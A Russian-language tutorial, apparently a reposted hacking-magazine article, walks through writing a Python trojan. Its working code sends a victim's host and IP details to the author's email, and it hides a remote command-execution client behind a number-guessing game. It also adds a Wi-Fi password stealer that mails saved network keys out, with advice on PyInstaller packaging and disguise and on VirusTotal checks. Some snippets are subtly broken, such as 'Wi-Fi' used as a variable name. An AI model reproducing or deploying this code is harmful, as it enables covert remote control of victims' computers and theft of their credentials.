Как создать простого трояна на Python

Как создать простого трояна на Python

Зачем кому-то писать вредоносное ПО на Python? Мы собираемся сделать это, чтобы изучить общие принципы разработки вредоносных программ, а в то же время вы сможете попрактиковаться в использовании этого языка и применить полученные знания для других целей. Кроме того, вредоносное ПО Python встречается в естественных условиях, и не все программы защиты от вирусов обращают на него внимание.

Конечно, приведенные в статье скрипты никоим образом не подходят для использования в боевых условиях — в них нет обфускации, принципы работы просты, как дважды два, и нет никаких вредоносных функций. Однако проявив немного изобретательности, их можно использовать для простых грязных уловок — например, выключения чьего-либо компьютера в классе или в офисе.

Теория

Так что же такое троян? Вирус — это программа, основная задача которой — копировать самого себя. Червь активно распространяется по сети (типичные примеры — Petya и WannaCry), а троян — это скрытая вредоносная программа, маскирующаяся под «хорошее» ПО.

Логика такого заражения заключается в том, что пользователь сам загружает вредоносное ПО на свой компьютер (например, под видом неработающей программы), сам отключает механизмы защиты (в конце концов, программа выглядит нормально) и хочет оставить его на долгое время. Хакеры здесь тоже не спят, поэтому время от времени появляются новости о новых жертвах пиратского программного обеспечения и программ-вымогателей, нацеленных на любителей халявы. Но мы знаем, что бесплатный сыр можно найти только в мыеловке, и сегодня мы очень легко научимся заполнять этот сыр чем-то неожиданным.

Определяем IP

Во-первых, нам (то есть нашему трояну) нужно определить, где он оказался. Важной частью вашей информации является IP-адрес, который вы можете использовать для подключения к зараженному компьютеру в будущем.

Нач­нем писать код. Сра­зу импорти­руем биб­лиоте­ки:

import socket
from requests import get

Обе биб­лиоте­ки не пос­тавля­ются с Python, поэто­му, если они у тебя отсутс­тву­ют, их нуж­но уста­новить коман­дой pip.

pip install socket
pip install requests
 
Если вы видите сообщение об отсутствии pip, вам необходимо сначала установить его с pypi.org. Как ни странно, что Pip рекомендуется становить через Pip, что, конечно, очень полезно, когда он недоступен.
 

Код получе­ния внеш­него и внут­ренне­го адре­сов будет таким. Обра­ти вни­мание, что, если у жер­твы нес­коль­ко сетевых интерфей­сов (нап­ример, Wi-Fi и Ethernet одновре­мен­но), этот код может вес­ти себя неп­равиль­но.

# Определяем имя устройства в сети
hostname = socket.gethostname()
 
# Определяем локальный (внутри сети) IP-адрес
local_ip = socket.gethostbyname(hostname)
 
# Определяем глобальный (публичный / в интернете) IP-адрес
public_ip = get('http://api.ipify.org').text

Ес­ли с локаль­ным адре­сом все более‑менее прос­то — находим имя устрой­ства в сети и смот­рим IP по име­ни устрой­ства, — то вот с пуб­личным IP все нем­ного слож­нее.

Я выб­рал сайт api.ipify.org, так как на выходе нам выда­ется толь­ко одна стро­ка — наш внеш­ний IP. Из связ­ки пуб­личный + локаль­ный IP мы получим поч­ти точ­ный адрес устрой­ства.

Вы­вес­ти информа­цию еще про­ще:

print(f'Хост: {hostname}')
print(f'Локальный IP: {local_ip}')
print(f'Публичный IP: {public_ip}')

Ни­ког­да не встре­чал конс­трук­ции типа print(f'{}')? Бук­ва f озна­чает фор­матиро­ван­ные стро­ковые литера­лы. Прос­тыми сло­вами — прог­рам­мные встав­ки пря­мо в стро­ку.

Строковые литералы не только хорошо смотрятся в вашем коде, они также помогают избежать таких ошибок, как сложение строк и добавление чисел (Python это не JavaScript!).

Фи­наль­ный код:

import socket
from requests import get
 
hostname = socket.gethostname()
local_ip = socket.gethostbyname(hostname)
public_ip = get('http://api.ipify.org').text
 
print(f'Хост: {hostname}')
print(f'Локальный IP: {local_ip}')
print(f'Публичный IP: {public_ip}')

За­пус­тив этот скрипт, мы смо­жем опре­делить IP-адрес нашего (или чужого) компь­юте­ра.

Бэкконнект по почте

Те­перь напишем скрипт, который будет при­сылать нам пись­мо.

Им­порт новых биб­лиотек (обе нуж­но пред­варитель­но пос­тавить через pip install):

import smtplib as smtp
from getpass import getpass

Пи­шем базовую информа­цию о себе:

# Почта, с которой будет отправлено письмо
email = 'xakepmail@yandex.ru'
 
# Пароль от нее (вместо ***)
password = '***'
 
# Почта, на которую отправляем письмо
dest_email = 'demo@xakep.ru'
 
# Тема письма
subject = 'IP'
 
# Текст письма
email_text = 'TEXT'

Даль­ше сфор­миру­ем пись­мо:

message = 'From: {}\nTo: {}\nSubject: {}\n\n{}'.format(email, dest_email, subject, email_text)

Пос­ледний штрих — нас­тро­ить под­клю­чение к поч­товому сер­вису. Я поль­зуюсь Яндекс.Поч­той, поэто­му нас­трой­ки выс­тавлял для нее.

server = smtp.SMTP_SSL('smtp.yandex.com') # SMTP-сервер Яндекса
server.set_debuglevel(1) # Минимизируем вывод ошибок (выводим только фатальные ошибки)
server.ehlo(email) # Отправляем hello-пакет на сервер
server.login(email, password) # Заходим на почту, с которой будем отправлять письмо
server.auth_plain() # Авторизуемся
server.sendmail(email, dest_email, message) # Вводим данные для отправки (адреса свой и получателя и само сообщение)
server.quit() # Отключаемся от сервера

В стро­ке server.ehlo(email) мы исполь­зуем коман­ду EHLO. Боль­шинс­тво сер­веров SMTP под­держи­вают ESMTP и EHLO. Если сер­вер, к которо­му ты пыта­ешь­ся под­клю­чить­ся, не под­держи­вает EHLO, мож­но исполь­зовать HELO.

Пол­ный код этой час­ти тро­яна:

import smtplib as smtp
import socket
from getpass import getpass
from requests import get
 
hostname = socket.gethostname()
local_ip = socket.gethostbyname(hostname)
public_ip = get('http://api.ipify.org').text
 
email = 'xakepmail@yandex.ru'
password = '***'
dest_email = 'demo@xakep.ru'
subject = 'IP'
email_text = (f'Host: {hostname}\nLocal IP: {local_ip}\nPublic IP: {public_ip}')
 
message = 'From: {}\nTo: {}\nSubject: {}\n\n{}'.format(email, dest_email, subject, email_text)
 
server = smtp.SMTP_SSL('smtp.yandex.com')
server.set_debuglevel(1)
server.ehlo(email)
server.login(email, password)
server.auth_plain()
server.sendmail(email, dest_email, message)
server.quit()

За­пус­тив этот скрипт, получа­ем пись­мо.

Письмо с IP

Пись­мо с IP

Этот скрипт я про­верил на VirusTotal. Резуль­тат на скри­не.

Троян

По задум­ке, тро­ян пред­став­ляет собой кли­ент‑сер­верное при­ложе­ние с кли­ентом на машине ата­куемо­го и сер­вером на запус­кающей машине. Дол­жен быть реали­зован мак­сималь­ный уда­лен­ный дос­туп к сис­теме.

Как обыч­но, нач­нем с биб­лиотек:

import random
import socket
import threading
import os

Для начала напишем игру «Уга­дай чис­ло». Тут все край­не прос­то, поэто­му задер­живать­ся дол­го не буду.

# Создаем функцию игры
def game():
 
# Берем случайное число от 0 до 1000
number = random.randint(0, 1000)
# Счетчик попыток
tries = 1
# Флаг завершения игры
done = False
 
# Пока игра не закончена, просим ввести новое число
while not done:
guess = input('Введите число: ')
 
# Если ввели число
if guess.isdigit():
# Конвертируем его в целое
guess = int(guess)
# Проверяем, совпало ли оно с загаданным; если да, опускаем флаг и пишем сообщение о победе
if guess == number:
done = True
print(f'Ты победил! Я загадал {guess}. Ты использовал {tries} попыток.')
# Если же мы не угадали, прибавляем попытку и проверяем число на больше/меньше
else:
tries += 1
if guess > number:
print('Загаданное число меньше!')
else:
print('Загаданное число больше!')
# Если ввели не число выводим сообщение об ошибке и просим ввести число заново
else:
print('Это не число от 0 до 1000!')
 
Почему так много сложностей с проверкой номера? Вы могли просто написать guess = int (input (‘Введите число:’)). Если бы мы так написали, то при вводе чего-либо, кроме числа, появлялась бы ошибка, а этого допускать нельзя, так как ошибка заставит программу остановиться и разорвать соединение.
 

Вот код нашего тро­яна. Ниже мы будем раз­бирать­ся, как он работа­ет, что­бы не про­гова­ривать заново базовые вещи.

# Создаем функцию трояна
def trojan():
# IP-адрес атакуемого
HOST = '192.168.2.112'
# Порт, по которому мы работаем
PORT = 9090
 
# Создаем эхо-сервер
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client.connect((HOST, PORT))
 
while True:
# Вводим команду серверу
server_command = client.recv(1024).decode('cp866')
# Если команда совпала с ключевым словом 'cmdon', запускаем режим работы с терминалом
if server_command == 'cmdon':
cmd_mode = True
# Отправляем информацию на сервер
client.send('Получен доступ к терминалу'.encode('cp866'))
continue
# Если команда совпала с ключевым словом 'cmdoff', выходим из режима работы с терминалом
if server_command == 'cmdoff':
cmd_mode = False
# Если запущен режим работы с терминалом, вводим команду в терминал через сервер
if cmd_mode:
os.popen(server_command)
# Если же режим работы с терминалом выключен можно вводить любые команды
else:
if server_command == 'hello':
print('Hello World!')
# Если команда дошла до клиента выслать ответ
client.send(f'{server_command} успешно отправлена!'.encode('cp866'))
 
Для начала нужно понять, что такое сокет и с чем его едят. Говоря простым языком, сокет — это обычная вилка или розетка для программ. Существуют клиентские и серверные сокеты: серверный прослушивает определенный порт (сокет), а клиентский подключается к серверу (вилка). Как только соединение установлено, начинается обмен данными.
 
Следовательно, строка client = socket.socket (socket.AF_INET, socket.SOCK_STREAM) создает эхо-сервер (отправил запрос — получил ответ). AF_INET означает работу с адресацией IPv4, а SOCK_STREAM означает, что мы используем TCP-соединение вместо UDP, когда пакет отправляется в сеть и больше не отслеживается.
 

Функции приема даных

 
Стро­ка client.connect((HOST, PORT)) ука­зыва­ет IP-адрес хос­та и порт, по которым будет про­изво­дить­ся под­клю­чение, и сра­зу под­клю­чает­ся.
 
Функция client.recv (1024) принимает данные из сокета и является так называемым «блочным вызовом». Смысл такого вызова заключается в том, что до тех пор, пока команда не будет передана или отклонена другой стороной, вызов будет продолжать выполняться. 1024 — это количество байтов, задействованных для приемного буфера. Невозможно принять за один раз более 1024 байтов (1 КБ), но нам это не нужно — часто ли вы вручную вводите в консоль более 1000 символов? Нет необходимости многократно увеличивать размер буфера — это дорого и ненужно, так как вам нужен большой буфер примерно один раз никогда.
 
Команда decode ('cp866') декодирует полученный байтовый буфер в текстовую строку в соответствии с указанной кодировкой (у нас 866). Но почему именно cp866? Переходим в командную строку и вводим команду chcp.
 
Текущая кодовая страницаКак создать простого трояна на Python
 
Те­кущая кодовая стра­ница
 
Кодировка по умолчанию для русскоязычных устройств — 866, где к латинскому алфавиту добавляется кириллица. Английские версии системы используют обычный Unicode, то есть utf-8 в Python. Мы говорим по-русски, поэтому просто должны его поддержать.
 
При желании кодировку можно изменить в командной строке, введя ее номер после chcp. Юникод имеет номер 65001.
 
Когда вы получаете команду, вам нужно определить, является ли она слжебной. В этом случае мы выполняем определенные действия, в противном случае, если терминал включен, мы перенаправляем команду туда. Минус в том, что результат выполнения остается необработанным, и его было бы неплохо отправить нам. Это будет вашим домашним заданием: вы сможете реализовать эту функцию примерно за пятнадцать минут, даже если вы изучите все шаги.
 
Ре­зуль­тат про­вер­ки кли­ента на VirusTotal порадо­вал.
 
Как создать простого трояна на Python
 
Базовый троян у нас написан, и теперь на машине жертвы можно многое сделать, потому что у нас есть доступ к командной строке. Но почему бы нам не расширить набор функций? Давайте украдем еще пароли Wi-Fi!
 

Wi-Fi-стилер

За­дача — соз­дать скрипт, который из коман­дной стро­ки узна­ет все пароли от дос­тупных сетей Wi-Fi.

Прис­тупа­ем. Импорт биб­лиотек:

import subprocess
import time

Мо­дуль subprocess нужен для соз­дания новых про­цес­сов и соеди­нения c потока­ми стан­дар­тно­го вво­да‑вывода, а еще для получе­ния кодов воз­вра­та от этих про­цес­сов.

Итак, скрипт для извле­чения паролей Wi-Fi:

# Создаем запрос в командной строке netsh wlan show profiles, декодируя его по кодировке в самом ядре
data = subprocess.check_output(['netsh', 'wlan', 'show', 'profiles']).decode('cp866').split('\n')
 
# Создаем список всех названий всех профилей сети (имена сетей)
Wi-Fis = [line.split(':')[1][1:-1] for line in data if "Все профили пользователей" in line]
 
# Для каждого имени...
for Wi-Fi in Wi-Fis:
# ...вводим запрос netsh wlan show profile [ИМЯ_Сети] key=clear
results = subprocess.check_output(['netsh', 'wlan', 'show', 'profile', Wi-Fi, 'key=clear']).decode('cp866').split('\n')
# Забираем ключ
results = [line.split(':')[1][1:-1] for line in results if "Содержимое ключа" in line]
# Пытаемся его вывести в командной строке, отсекая все ошибки
try:
print(f'Имя сети: {Wi-Fi}, Пароль: {results[0]}')
except IndexError:
print(f'Имя сети: {Wi-Fi}, Пароль не найден!')

Вве­дя коман­ду netsh wlan show profiles в коман­дной стро­ке, мы получим сле­дующее.

netsh wlan show profilesКак создать простого трояна на Python

netsh wlan show profiles

Если вы проанализируете вывод выше и замените имя сети в команде netsh wlan show profile [имя сети] key = clear, результат будет таким, как на изображении. Вы можете проанализировать его и извлечь сетевой пароль.

netsh wlan show profile ASUS key=clear

netsh wlan show profile ASUS key=clear

Вердикт VirusTotal

Результат по VirusTotal

Ос­талась одна проб­лема: наша изна­чаль­ная задум­ка была заб­рать пароли себе, а не показы­вать их поль­зовате­лю. Испра­вим же это.

До­пишем еще один вари­ант коман­ды в скрипт, где обра­баты­ваем наши коман­ды из сети.

if server_command == 'Wi-Fi':

 
data = subprocess.check_output(['netsh', 'wlan', 'show', 'profiles']).decode('cp866').split('\n')
Wi-Fis = [line.split(':')[1][1:-1] for line in data if "Все профили пользователей" in line]
 
for Wi-Fi in Wi-Fis:
results = subprocess.check_output(['netsh', 'wlan', 'show', 'profile', Wi-Fi, 'key=clear']).decode('cp866').split('\n')
results = [line.split(':')[1][1:-1] for line in results if "Содержимое ключа" in line]
try:
email = 'xakepmail@yandex.ru'
password = '***'
dest_email = 'demo@xakep.ru'
subject = 'Wi-Fi'
email_text = (f'Name: {Wi-Fi}, Password: {results[0]}')
 
message = 'From: {}\nTo: {}\nSubject: {}\n\n{}'.format(email, dest_email, subject, email_text)
 
server = smtp.SMTP_SSL('smtp.yandex.com')
server.set_debuglevel(1)
server.ehlo(email)
server.login(email, password)
server.auth_plain()
server.sendmail(email, dest_email, message)
server.quit()
except IndexError:
email = 'xakepmail@yandex.ru'
password = '***'
dest_email = 'demo@xakep.ru'
subject = 'Wi-Fi'
email_text = (f'Name: {Wi-Fi}, Password not found!')
 
message = 'From: {}\nTo: {}\nSubject: {}\n\n{}'.format(email, dest_email, subject, email_text)
 
server = smtp.SMTP_SSL('smtp.yandex.com')
server.set_debuglevel(1)
server.ehlo(email)
server.login(email, password)
server.auth_plain()
server.sendmail(email, dest_email, message)
server.quit()

Этот сценарий очень прост и предполагает наличие русскоязычной системы. Это не будет работать на других языках, но вы можете исправить поведение сценария, просто выбрав разделитель из словаря, где ключ — это язык, найденный на компьютере, а значение — требуемая фраза на требуемом языке.

Все коман­ды это­го скрип­та уже под­робно разоб­раны, так что я не буду пов­торять­ся, а прос­то покажу скрин­шот из сво­ей поч­ты.

Результат

Ре­зуль­тат

Что можно доработать

Конечно, здесь можно улучшить практически все — от защиты канала передачи до защиты самого кода нашего трояна. Способы связи с управляющими серверами злоумышленника также часто используются по-разному, и вредоносная программа не зависит от языка операционной системы.

И, конечно же, очень желательно упаковать сам вирус с помощью PyInstaller, чтобы не перетаскивать Python и все зависимости с собой на машину жертвы. Игра, требующая установки мода для работы с почтой на работе — что может внушить больше доверия?

Итоги

Вышеупомянутые инструменты и подходы научат вас тому, как думают вирусописатели и насколько опасны подозрительные скрипты Python.
Будьте осторожны с зависимостями и малоизвестными пакетами, которые вы вставляете в свои проекты. Не доверяйте запутанному коду и всегда проверяйте код неизвестных библиотек перед запуском.

 

 

 

 

Click to rate this post!
[Total: 5 Average: 5]

Leave a reply:

Your email address will not be published.